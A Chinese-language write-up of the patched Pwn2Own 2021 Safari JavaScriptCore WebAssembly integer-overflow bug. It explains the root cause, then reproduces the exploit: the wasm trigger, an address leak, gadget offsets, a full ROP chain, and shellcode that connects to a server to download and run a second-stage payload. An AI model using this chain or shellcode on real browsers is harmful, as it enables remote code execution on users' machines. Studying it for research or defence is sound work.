作者:ghost461@知道創宇404實驗室
時間:2021年12月31日

概述

  • 該漏洞是Pwn2own 2021 safari項目中, ret2systems所使用的JavaScriptCore整數溢出漏洞, 該漏洞已在safari 14.1.1中被修復
  • ret2systems的博客進行了詳細的漏洞原理的介紹, 并放出了第一階段使用的POC, 本文將結合POC對該漏洞進行原理分析

關于POC

  • gen_wasm.py: 用于生成WebAssembly模塊到rets.wasm文件
  • shellcode: 完成溢出漏洞后使用的第一階段的shellcode, 默認會向localhost:1337請求并加載第二階段(沙盒逃逸)shellcode, 以完成任意代碼執行. (但第二階段shellcode并未放出)
  • stage2_server.py: 用于監聽本地1337端口, 以發送第二階段shellcode
  • pwn.html: 瀏覽器漏洞利用入口, 調起pwn.js
  • pwn.js: 調起兩個worker線程, 獲取wasm數據并發放給worker線程
  • worker.js: worker線程, 用于加載wasm以觸發漏洞
  • worker2.js: worker線程, 作為受害者線程承載ROP鏈以及shellcode
  • [*]rets.wasm: 由gen_wasm.py腳本生成的wasm二進制文件, 也就是實際觸發漏洞時解析的目標WebAssembly程序
  • [*]rets.wat: rets.wasm經過一些修改后, 由wabt反編譯為wat文本, 輔助理解POC生成的wasm程序的結構
  • [*]jsc_offsets: 是生成wasm前的一些基礎信息, 如: 泄露地址到dylib基地址的偏移, ROP鏈中gadget的偏移地址, 關鍵調用的地址
  • [*]stage2_shellcode.bin: 第二階段shellcode, 由于沒有可用的沙盒逃逸利用, 這里的stage2_shellcode只是做了int3斷點以及一些無用數據
  • * 文件是拿到POC作者未提供的, 需要使用腳本生成, 或是自己按需補充

  • 以下命令生成rets.wasm與jsc_offsets文件
rce % python3 gen_wasm.py -offs prod

leak_off, hndl_raw_mem_off, gadg, syms = 15337245, 40, {'ret': 15347, 'rdi': 4627172, 'rsi': 624110, 'rdx': 3993325, 'rcx': 917851, 'jmp_rax': 76691}, {'__ZN3JSC19ExecutableAllocator8allocateEmNS_20JITCompilationEffortE': 10101216, '_memcpy': 16987498, '_dlsym': 16987090}
module of len 0x10009316 written

漏洞原理分析

一句話描述

WebKit的JavaScriptCore在加載解析WebAssembly模塊時, 棧大小計數器m_maxStackSize存在整數溢出問題, 進而導致WebAssembly函數序言(wasmPrologue)階段的棧幀分配異常, 最終導致沙盒內的代碼執行
  • 正常程序流程: Wasm模塊 -> parse階段 -> 函數序言(prologue)階段 -> 運行函數體
  • 漏洞利用流程:
Wasm模塊 -> parse階段(m_maxStackSize = 0xffffffff) -> 函數序言階段(m_numCalleeLocals = 0; 不分配棧空間) -> 運行函數體, 入棧操作覆蓋內存 -> 地址泄露 -> ROP鏈 -> shellcode

JavaScriptCore背景

  • JSC是WebKit的JavaScript引擎, 在JSC執行任何JavaScript代碼之前, 它必須為其完成詞法解析以及生成字節碼, JSC有4個執行層:
    • Low Level Interpreter(LLInt): 啟動解釋器
    • Baseline JIT: 模版JIT
    • DFG JIT: 低延遲優化編譯器
    • FTL JIT: 高吞吐量優化編譯器
  • 程序段首先執行在最低級的字節碼解釋器中, 隨著代碼執行的增多, 就會被OSR(On-Stack-Replace)提升到更高的層級
  • WebKit中的WebAssembly程序同樣是由JSC負責解析執行的, wasm的運行層級略有不同: LLInt -> BBQ -> OMG
  • 關于WebAssembly的文本格式, 可以看看
  • 由于該漏洞發生在wasm模塊的解析與字節碼生成的階段, 所以我們這里只關注LLInt

LLint

  • 對于JavaScript, 負責執行由Parser生成的字節碼
  • 對于WebAssembly, JSC要負責解析驗證, 生成字節碼以及實際運行
  • JSC由名為offlineasm的可移植匯編語言編寫, 源碼位于WebKit項目中的JavaScript/llint/LowLevelInterpreter.asm文件
  • 為了處理一些操作, LLInt需要在執行指令時調用一些C函數進行擴展處理, 這些會被調用到的C函數被稱為slow_path, 在asm文件中可以看到這些函數 (這一點我們將在后面地址泄漏時提到)

漏洞相關代碼

FunctionParser 與 LLIntGenerator

  • 關于解析器如何使用controlStack與expressionStack來跟蹤wasm模塊所需的棧大小, ret2systems博客已經十分詳細的描述了這一過程, 本文這里就只挑關鍵的點用代碼來描述
  • 解析器(WasmFunctionParser)將負責驗證函數的有效性, 這將涉及所有堆棧操作以及控制流分支的類型檢查(使用m_controlStackm_expressionStack)
// JavaScriptCore/wasm/WasmFunctionParser.h
    Stack m_expressionStack;
    ControlStack m_controlStack
  • Wasm函數具有非常結構化的塊形式的控制流, 可以是通用塊、循環或是if條件(這些在解析器中都可以被認為是塊), 其中TopLevel是controlStack初始化的第一個元素, 即wasm解析時的第一層
// JavaScriptCore/wasm/WasmFunctionParser.h
enum class BlockType {
    If,
    Block,
    Loop,
    TopLevel
};
  • 從解析器的角度來看, 每個塊都有自己的表達式棧, 與封閉塊的表達式棧(enclosedExpressionStack)分開
  • 根據多值范式, 每個塊都可以具有參數類型與返回類型的簽名(signature, 可以理解為參數與返回值聲明)
  • 解析器進入新的塊時, 參數從當前表達式棧中彈出, 并用作新的塊表達式棧的初始值, 舊的表達式棧作為封閉棧(enclosedExpressionStack)進入控制棧; 塊解析結束時, 返回值被push到封閉棧上

  • 生成器(WasmLLIntGenerator)跟蹤各種元數據, 包括當前整體堆棧大小(m_stackSize)以及整個解析過程中棧容量的最大值(m_maxStackSize), 當前堆棧大小有助于將抽象堆棧位置轉換為本地堆棧的偏移量, 而最大堆棧值則將決定函數序言期間將分配的棧空間大小

// JavaScript/wasm/WasmLLIntGenerator.cpp
    unsigned m_stackSize { 0 };
    unsigned m_maxStackSize { 0 };
  • m_stackSize: 當前表達式棧(m_expressionStack)的長度, 根據參數傳遞約定, 在x86_64系統上, 默認分配2個非易失性寄存器(Callee-Saved Register)、6個通用寄存器(General Purpose Register)和8個浮點數寄存器(Floating Point Register)用于函數調用, 所以無論函數是否接收這么多參數, m_stackSize都從16開始

    • JSC::Wasm::numberOfLLIntCalleeSaveRegisters: 根據調用約定保留的2個Callee-Save Register cpp // JavaScriptCore/wasm/WasmCallingConvention.h constexpr unsigned numberOfLLIntCalleeSaveRedisters = 2;

    • JSC::GPRInfo::numberOfArgumentRegisters: 通用寄存器計數, x86_64下默認為6個

// JavaScript/jit/GPRInfo.h
#if CPU(X86_64)
#if !OS(WINDOWS)
#define NUMBER_OF_ARGUMENT_REGISTERS 6u
......
class GPRInfo {
public:
    typedef GPRReg RegisterType;
    static constexpr unsigned numberOfRegisters = 11;
    static constexpr unsigned numberOfArgumentRegisters = NUMBER_OF_ARGUMENT_REGISTERS
    ......
  • JSC::FPRInfo::numberOfArgumentRegisters:浮點數寄存器計數, x86_64下默認為8個
// JavaScriptCore/jit/FPRInfo.h
class FPRInfo {
public:
    typedef FPRReg RegisterType;
    static constexpr unsigned numberOfRegisters = 6;
    static constexpr unsigned numberOfArgumentRegisters = is64Bit() ? 8 : 0;
    ......
  • m_maxStackSize: 在wasm解析階段, 跟蹤函數內所需的最大棧長度, 通常在push操作時更新
// JavaScriptCore/wasm/WasmLLIntGenerator.cpp
enum NoConsistencyCheckTag { NoConsistencyCheck };
    ExpressionType push(NoConsistencyCheckTag)
    {
        m_maxStackSize = std::max(m_maxStackSize, ++m_stackSize);
        return virtualRegisterForLocal(m_stackSize - 1);
    }
// JavaScriptCore/wasm/WasmLLIntGenerator.cpp
std::unique_ptr<FunctionCodeBlock> LLIntGenerator::finalize()
{
    RELEASE_ASSERT(m_codeBlock);
    m_codeBlock->m_numCalleeLocals = WTF::roundUpToMultipleOf(stackAlignmentRegisters(), m_maxStackSize);

    auto& threadSpecific = threadSpecificBuffer();
    Buffer usedBuffer;
    m_codeBlock->setInstructions(m_writer.finalize(usedBuffer));
    size_t oldCapacity = usedBuffer.capacity();
    usedBuffer.resize(0);
    RELEASE_ASSERT(usedBuffer.capacity() == oldCapacity);
    *threadSpecific = WTFMove(usedBuffer);

    return WTFMove(m_codeBlock);
}
  • m_numCalleeLocals: 在解析完成后, 該值在m_maxStackSize的基礎上向上舍入以對其堆棧(16字節對齊, 或是x86_64上的2個寄存器長度), 但m_numCalleLocals被聲明為int類型
// WTF/wtf/StdLibExtras.h
ALWAYS_INLINE constexpr size_t roundUpToMultipleOfImpl(size_t divisor, size_t x)
{
    size_t remainderMask = divisor - 1;
    return (x + remainderMask) & ~remainderMask;            // divisor = 2; x = 0xffffffff; return 0x100000000;
}

// Efficient implementation that takes advantage of powers of two.
inline size_t roundUpToMultipleOf(size_t divisor, size_t x)
{
    ASSERT(divisor && !(divisor & (divisor - 1)));
    return roundUpToMultipleOfImpl(divisor, x);
}
// JavaScriptCore/wasm/WasmFunctionCodeBlock.h
class FunctionCodeBlock{
    ......
private:
    using OutOfLineJumpTargets = HashMap<InstructionStream::Offset, int>;
    uint32_t m_functionIndex;
    int m_numVars { 0 };
    int m_numCalleeLocals { 0 };               // 0x100000000 ==> m_numCalleLocals = 0x00000000;
    uint32_t m_numArguments { 0 };
    Vector<Type> m_constantTypes;
    ......
  • 最終, 實際調用wasm函數, 在LLInt的wasmPrologue階段, m_numCalleeLocals被用于決定實際分配的棧幀大小(并會被檢查是否超出最大棧幀長度, 決定是否拋出堆棧異常)
macro wasmPrologue(codeBlockGetter, codeBlockSetter, loadWasmInstance)
    ......
    # Get new sp in ws1 and check stack height.
    loadi Wasm::FunctionCodeBlock::m_numCalleeLocals[ws0], ws1        # <---- m_numCalleeLocals
    lshiftp 3, ws1
    addp maxFrameExtentForSlowPathCall, ws1
    subp cfr, ws1, ws1

    bpa ws1, cfr, .stackOverflow
    bpbeq Wasm::Instance::m_cachedStackLimit[wasmInstance], ws1, .stackHeightOK

.stackOverflow:
    throwException(StackOverflow)

.stackHeightOK:
    move ws1, sp
    ......

漏洞利用

觸發漏洞

  • 要觸發整數溢出問題, 我們需要構造出能使解析器執行2^32次push操作的wasm函數, POC最終選擇使用之前提到的多值范式, 以及解析器對unreachable代碼的處理相結合的方法
  • 之前提到多值范式沒有說的一點是, 它允許塊擁有任意數量的返回值, 在JavaScriptCore的實現中也沒有強制規定該數量的上限, 這允許我們構造具有大量返回值的塊

  • 解析器會執行一些非常基本的分析來確定代碼是否為無法訪問或是死代碼, 當解析時遇到使用unreachable顯式聲明, 或是無條件分支跳轉指令后后無任何調用的代碼段(dead code), 生成器會直接將聲明的返回類型push到封閉棧中

auto LLIntGenerator::addEndToUnreachable(ControlEntry& entry, const Stack& expressionStack, bool unreachable) -> PartialResult
{
    ......
    for (unsigned i = 0; i < data.m_signature->returnCount(); ++i) {
        ......
        if (unreachable)
            entry.enclosedExpressionStack.constructAndAppend(data.m_signature->returnType(i), tmp);    // push returnType -> enclosedExpressionStack
        else
            entry.enclosedExpressionStack.append(expressionStack[i]);
    }
    ......
    return { };
}
  • 通過以上的說明, 似乎可以直接構造出2^32個返回值的塊, 但實際有一個問題阻礙我們實現這一點, 表達式棧是由一個WTF::Vector實現的, 它有一個4字節大小的變量(unsigned m_capacity)并設置了檢查以確保分配的內存大小長度不會大于32bit; 裝入Vector的元素是TypedExpression對象, 其大小為8, 所以單個表達式棧的上限為2^32 / 8 = 2^29 = 0x20000000, 實際上分配的可能會更少, 所以我們不能在單個塊中聲明如此多的返回值
// WTF/wtf/Vector.h
bool allocateBuffer(size_t newCapacity)
    {
        static_assert(action == FailureAction::Crash || action == FailureAction::Report);
        ASSERT(newCapacity);
        if (newCapacity > std::numeric_limits<unsigned>::max() / sizeof(T)) {          // check
            if constexpr (action == FailureAction::Crash)
                CRASH();
        ......
        size_t sizeToAllocate = newCapacity * sizeof(T);
        ......
        m_capacity = sizeToAllocate / sizeof(T);            // max 2^32
        m_buffer = newBuffer;
        return true;
    }
  • 為了解決這個問題, 我們可以把2^32個返回值分給16個塊, 使這些塊相互嵌套, 每個塊都具有0x10000000個返回值, 每個塊都有自己的表達式棧, 最終設置m_maxStackSize為0xffffffff, 一旦解析結束就會完成溢出
(module
  (type (;0;) (func))
  (type (;1;) (func (result f64 f64 ... )))  ;; a lot of f64 (f64 * 0x10000000)
  (type (;2;) (func (param i64 i64)))
  (import "e" "mem" (memory (;0;) 1))
  (func (;0;) (type 2) (param i64 i64)
    ;; "real" code we want to execute can be placed here
    i32.const 1                                            ;; use 'br_if', or the following code would be 'dead_code'
    br_if 0 (;@0;)                                         ;; 
    block  ;; label = @1                                   ;; begin to fill 32GB
      block (result f64 f64 ... )  ;; label = @2                ;; push m_maxStackSize to 0xffffffff
        unreachable                                        ;; then m_numCalleeLocals = 0x0
      end                                                  ;; when parsing completes.
      ;; current stack has 0x10000000 values, m_maxStackSize = 0x10000000
      block  ;; label = @2
        ;; new block has an empty expression stack
        block (result f64 f64 ... )  ;; label = @3
          unreachable
        end
        ;; current stack has 0x10000000 values, m_maxStackSize = 0x20000000
        block  ;; label = @3
          block (result f64 f64 ... )  ;; label = @4
            unreachable
          end

            ......

          br 0 (;@3;)
        end
        br 0 (;@2;)
      end
      br 0 (;@1;)
    end
    return)
  (func (;1;) (type 0)
    i64.const 0
    i64.const 0
    call 0)
  (export "rets" (func 1)))
  • 這樣構造出的每個塊大約占用2GB內存, 16個塊加起來將消耗32GB, 看起來很夸張, 在macOS內存壓縮與SSD提供的swap配合下, 還是能夠實現(pwn2own現場跑了3分半), 我給macOS虛擬機設置了8GB內存也能實現(就是有點吃硬盤)

地址泄漏

  • 成功觸發漏洞, 將m_numCalleeLocals設置為0后, 接下來開始漏洞利用的過程, 此時我們調用wasm中的函數, LLInt將不會對降低棧幀, 導致以下的堆棧布局
            | ...            |
            | loc1           |
            | loc0           |
            | callee-saved 1 |
            | callee-saved 0 |
rsp, rbp -> | previous rbp   |
            | return address |
  • 正如前面提到的, 此時棧上2個callee-saved以及14個loc[0~13], 是根據函數調用約定可預測的一段棧空間. 因此, 為了能夠在wasm函數中訪問loc0與loc1, 我們需要讓函數聲明接收兩個i64參數
    (type (;2;) (func (param i64 i64)))
    (func (;0;) (type 2) (param i64 i64)
  • 為了達成地址泄漏的目的, 需要觸發LLInt的slow_path來進行處理, 因為在slow_path函數運行期間發生的任何push操作, 都會覆蓋我們棧上的callee-saved與局部變量; 而當slow_path函數返回后, 我們由可以操作wasm的本地變量讀取剛才的地址
  • 一個名為slow_path_wasm_out_of_line_jump_target的slow_path函數, 適用于wasm模塊中偏移量太大而無法直接以字節碼格式編碼的跳轉分支, 在此, 至少為0x80的偏移量就可以
block
  ;; branch out of block
  ;; an unconditional `br 0` will not work as the filler would be dead code
  i32.const 1
  br_if 0
  i32.const 0        ;; filler code here...
  i32.popcnt         ;; such that the offset from the above branch
  drop               ;; to the end of the block is >= 0x80
  ......
end
  • 至此即可觸發LLInt對slow_path_wasm_out_of_line_jump_target, 執行時效果如下:

  • 現在loc0中有一個返回地址, 該地址指向JavaScriptCore dylib中的一個固定偏移, 我們可以事先計算該偏移量, 以在程序運行時得到該dylib在內存中的基地址; loc1中則包含一個當前的棧地址; 這兩者的信息為我們提供了遠程代碼執行所需的信息泄漏

  • 在獲取了泄露的地址之后, 還不能立即開始ROP鏈的實施, 有一些關于內存布局的小問題

  • 當前我們所要執行的wasm函數沒有被分配任何棧地址空間, 所以理論上在該函數內應該能夠寫入最大負偏移量(rbp-0x10000)以內的任意棧地址, 也就是說, 我們幾乎可以覆蓋當前堆棧下方的任意內存
  • 者在主線程的上下文中并不是很有幫助, 因為主線程的棧下方沒有任何可靠的映射. 然而, 線程的堆棧是從專用虛擬內存區域以遞增的地址連續分配的
STACK GUARD   70000b255000-70000b256000 [ 4K   ] ---/rwx stack guard for thread 1
Stack         70000b256000-70000b2d8000 [ 520K ] rw-/rwx thread 1
STACK GUARD   70000b2d8000-70000b2d9000 [ 4K   ] ---/rwx stack guard for thread 2
Stack         70000b2d9000-70000b35b000 [ 520K ] rw-/rwx thread 2
  • 如果我們的wasm函數在線程2中執行, 線程1的堆棧將會是損壞目標, 唯一的問題就是保護頁, 然而, LLInt以原始的優化形式為我們提供了便利
  • 當push一個常量值時, 生成器實際上并沒有發出'將常量寫入棧'的指令, 相反, 它將常量添加到'常量池‘當中, 之后對該常量的讀取也不是從棧空間而是從常量池. 注意, 此時wasm模塊已經進入運行階段, 不要與解析階段的棧操作相混淆
    i32 .const  1
    i32 .const  2
    i32 .const  3
    i32 .add
  • 例如上面這個代碼段, 實際上只有add操作時向棧push了5, 其余const并沒有寫入棧的操作. 利用這樣的特性, 我們可以通過大量push未使用的常量值, 跳過保護頁
  • 綜合一下, 在實際執行ROP鏈之前, 我們使用loc0減去事先計算好的偏移量, 獲得JavaScriptCore dylib基地址; 使用loc1減去用于跳過保護頁的常量數量, 獲得一個受害者線程的棧地址;
block  ;; label = @1
    local.get 0
    i64.const 15337245    ;; subtract offset to JavaScriptCore dylib base 
    i64.sub
    local.set 0
    local.get 1
    i64.const 144312      ;; offset to where the ropchain will be
    i64.sub
    local.set 1
    i64.const 0           ;; push a ton of constants to hop over the guard page
    i64.const 0
    ......

    local.get 0
    i64.const 15347       ;; ROP begin
    i64.add               ;; nop
    drop
    drop
    ;; write ROP chain to stack
end
  • 一直到了這一步, 可以發現針對這個漏洞, 并不需要像目前主流的瀏覽器漏洞利用那樣, 構造addrof()fakeobj()來漸進式的獲取漏洞利用, 而是一個很不錯的老式ROP鏈即可

  • 關于如何計算JavaScriptCore dylib基地址, 可以使用從shared_cache中獲取的方式, 在對應版本的系統中使用以下python方法即可, 總體思路就是debug JavaScriptCore, 從調試器中獲取目標方法的第一個call指令, 到基地址的偏移量即為我們需要的leak_off. (小坑: 如果腳本停在lldb.recvuntil("\n\n")里沒有返回的話, 檢查一下你的lldb dis指令結束時是否少一個換行符, 按實際需要修改腳本即可)

def get_jsc_offsets_from_shared_cache():
    open("/tmp/t.c", "w").write('''
    #include <dlfcn.h>
    int main() {
        dlopen("/System/Library/Frameworks/JavaScriptCore.framework/Versions/A/JavaScriptCore", RTLD_LAZY);
        asm volatile("int3");
        return 0;
    }
    ''')
    os.system("clang /tmp/t.c -o /tmp/t")
    lldb = subprocess.Popen(["lldb","--no-lldbinit","/tmp/t"], bufsize=0, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    lldb.sendline = lambda s: lldb.stdin.write(s.encode('utf-8')+b'\n')
    def m_recvuntil(s):
        s = s.encode('utf-8')
        buf = b""
        while not buf.endswith(s):
            buf += lldb.stdout.read(1)
        return buf
    lldb.recvuntil = m_recvuntil

    try:
        lldb.sendline("settings set target.x86-disassembly-flavor intel")
        lldb.sendline("r")
        lldb.recvuntil("stopped")
        lldb.sendline("ima list -h JavaScriptCore")
        lldb.recvuntil("0] ")
        jsc_base = int(lldb.recvuntil("\n")[:-1], 16)

        lldb.sendline("dis -n slow_path_wasm_out_of_line_jump_target")
        lldb.recvuntil("JavaScriptCore`slow_path_wasm_out_of_line_jump_target:\n")
        disas = lldb.recvuntil("\n\n").decode("utf-8")
        disas = disas.split('\n')
        disas = [disas[i] for i in range(1,len(disas)) if "call " in disas[i-1]][0]
        leak_off = int(disas.split(' <')[0].strip(), 16)-jsc_base
    ......

ROP鏈

  • 利用本地變量在wasm中編寫一個gadget大致如下
local.get 0 ;; JavaScriptCore dylib address
i64.const <offset to gadget>
i64.add ;; the addition will write the gadget to the stack
  • 要在棧中寫入常量可以使用loc1作為基地址, 使用按位或操作, 或是使用常量0來完成

  • ROP鏈是為了調起并保證shellcode的執行, 由于macOS中SIP(系統完整性保護)機制的存在, 內存頁面的RWX屬性僅當存在一特定標志時生效, MAP_JIT(0x800), 而該標志僅在mmap創建時授予.

  • 線程堆棧并未被映射為MAP_JIT, 所以我們不能簡單的使用mprotect將shellcode放在棧上并返回調用到它
  • 為解決此問題, 我們將調用函數ExecutableAllocator::allocate, 以在現有的rwx JIT區域中保留一個地址, 然后使用memcpy將shellcode放在那里, 最終返回到它并執行
  • 最終ROP鏈在wasm中的樣子:
      local.get 0
      i64.const 4627172                              ;; pop_rdi
      i64.add
      drop
      drop
      local.get 1
      i64.const 80
      i64.add
      drop
      drop
      local.get 0
      i64.const 3993325                              ;; pop rdx
      i64.add
      drop
      drop
      i64.const 144                                  ;; len(shellcode)
      i64.const 0
      i64.or
      drop
      drop
      local.get 0
      i64.const 917851                               ;; pop rcx
      i64.add
      drop
      drop
      i64.const 1
      i64.const 0
      i64.or
      drop
      drop
      local.get 0
      i64.const 10101216       ;; syms['__ZN3JSC19ExecutableAllocator8allocateEmNS_20JITCompilationEffortE']
      i64.add
      drop
      drop
      local.get 0
      i64.const 4627172                               ;; pop rdi
      i64.add
      drop
      drop
      local.get 1
      i64.const 262144                                ;; 0x40000
      i64.sub
      drop
      drop
      local.get 0
      i64.const 624110                                ;; pop rsi
      i64.add
      drop
      drop
      drop
      local.get 0
      i64.const 3993325                                ;; pop rdx
      i64.add
      drop
      drop
      i64.const 48                                     ;; hndl_raw_mem_off+8
      i64.const 0
      i64.or
      drop
      drop
      local.get 0
      i64.const 16987498                               ;; syms['_memcpy']
      i64.add
      drop
      drop
      local.get 0
      i64.const 4627172                                ;; pop rdi
      i64.add
      drop
      drop
      local.get 1
      i64.const 176                                    ;; 22*8
      i64.add
      drop
      drop
      local.get 0
      i64.const 624110                                 ;; pop rsi
      i64.add
      drop
      drop
      local.get 1
      i64.const 262104                                 ;; 0x4000 - hndl_raw_mem_off
      i64.sub
      drop
      drop
      local.get 0
      i64.const 3993325                                ;; pop rdx
      i64.add
      drop
      drop
      i64.const 8
      i64.const 0
      i64.or
      drop
      drop
      local.get 0
      i64.const 16987498                               ;; syms['_memcpy']
      i64.add
      drop
      drop
      local.get 0
      i64.const 4627172                                ;; pop rdi
      i64.add
      drop
      drop
      drop
      local.get 0
      i64.const 624110                                 ;; pop rsi
      i64.add
      drop
      drop
      local.get 1
      i64.const 248                                    ;; 31*8
      i64.add
      drop
      drop
      local.get 0
      i64.const 3993325                                ;; pop rdx
      i64.add
      drop
      drop
      i64.const 144                                    ;; len(shellcode)
      i64.const 0
      i64.or
      drop
      drop
      local.get 0
      i64.const 16987498                               ;; syms['_memcpy']
      i64.add
      drop
      drop
      local.get 0
      i64.const 4627172                                ;; pop rdi, pass dlsym to shellcode
      i64.add
      drop
      drop
      local.get 0
      i64.const 16987090                               ;; syms['_dlsym']
      i64.add
      drop
      drop
      local.get 0
      i64.const 76691                                  ;; gadg['jmp_rax']
      i64.add
      drop                                             ;; begin to write shellcode
      i64.const 144115607791438153
      i64.or
      drop
      ......

shellcode

        sc = '''
        ## save dlsym pointer
        mov r15, rdi

        ## socket(AF_INET, SOCK_STREAM, 0)
        mov eax, 0x2000061
        mov edi, 2
        mov esi, 1
        xor edx, edx
        syscall
        mov rbp, rax

        ## create addr struct
        mov eax, dword ptr [rip+ipaddr]
        mov r14, rax
        shl rax, 32
        or rax, 0x%x
        push rax
        mov eax, 0x2000062
        mov rdi, rbp
        mov rsi, rsp
        mov dl, 0x10
        syscall

        ## read sc size
        mov eax, 0x2000003
        mov dl, 8
        syscall

        ## mmap rwx
        xor edi, edi
        pop rsi
        mov dl, 7
        mov r10d, 0x1802 # MAP_PRIVATE|MAP_ANONYMOUS|MAP_JIT
        xor r8, r8
        dec r8
        xor r9, r9
        mov eax, 0x20000c5
        syscall

        ## read sc
        mov rdi, rbp
        mov rdx, rsi
        mov rsi, rax
        push rsi

        read_hdr:
        test rdx, rdx
        jz read_done
        mov eax, 0x2000003
        ## rdx gets trashed somehow in syscall???? no clue...
        push rdx
        syscall
        pop rdx
        sub rdx, rax
        add rsi, rax
        jmp read_hdr
        read_done:
        pop rsi

        ## jmp to sc, pass dlsym, socket, and server ip
        ## (need call not jmp to 16-byte align stack)
        mov rdi, r15
        xchg rsi, rbp
        mov rdx, r14
        call rbp

        ipaddr:
        '''%(2|(port<<16))
  • 由于safari沙箱機制, 僅僅這一個代碼執行的漏洞還沒有突破沙箱的限制, 所以目前單獨復現該漏洞的效果就是能確認第一階段shellcode運行成功, 向目標端口建立socket連接以獲取第二階段shellcode并返回調用
  • 關于第二階段shellcode, 將會是沙箱逃逸的另一個漏洞, 只不過目前還沒有公開的程序或資料, ret2systems也在博客末尾提到該漏洞將在之后的文章中分享

  • 作為漏洞復現的最終展示, 這里能看到
    • stage2_server可以成功建立連接
    • 使用lldb調試WebContent進程成功獲取到shellcode中的int3斷點并查看內存布局

總結

  • 這個漏洞本身還是非常好理解的, 從隱式類型轉換到整數溢出再到棧溢出, 以及后面的ROP鏈的利用, 都還算是很經典的漏洞問題了
  • 本篇文章記錄一下自己學習WebKit漏洞的過程, 盡管POC作者已經給出了相當詳細的描述解釋, 復現下來發現還是有一些坑要自己踩一下的. 在記錄整理的過程中也發現很多原理上的細節沒有注意到, 仔細思考后發現這些小細節都可以直接決定漏洞利用是否成功.
  • 在漏洞復現期間, 能明顯的感覺到, 作者發現并編寫了這一套漏洞利用, 我能做到復現, 僅僅是獲得了作者在這方面十分之一的知識儲備; 但從另一個角度講, 如果沒有做復現學習, 我們可能需要浪費十倍以上的時間在各種彎路上. 所以說還是要感謝分享技術的大佬, 讓我們有機會快速進入這個領域, 并能夠看見之后的方向.

  • 貼一張pwn2own截圖, 愿大家都有這么一刻吧

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1804/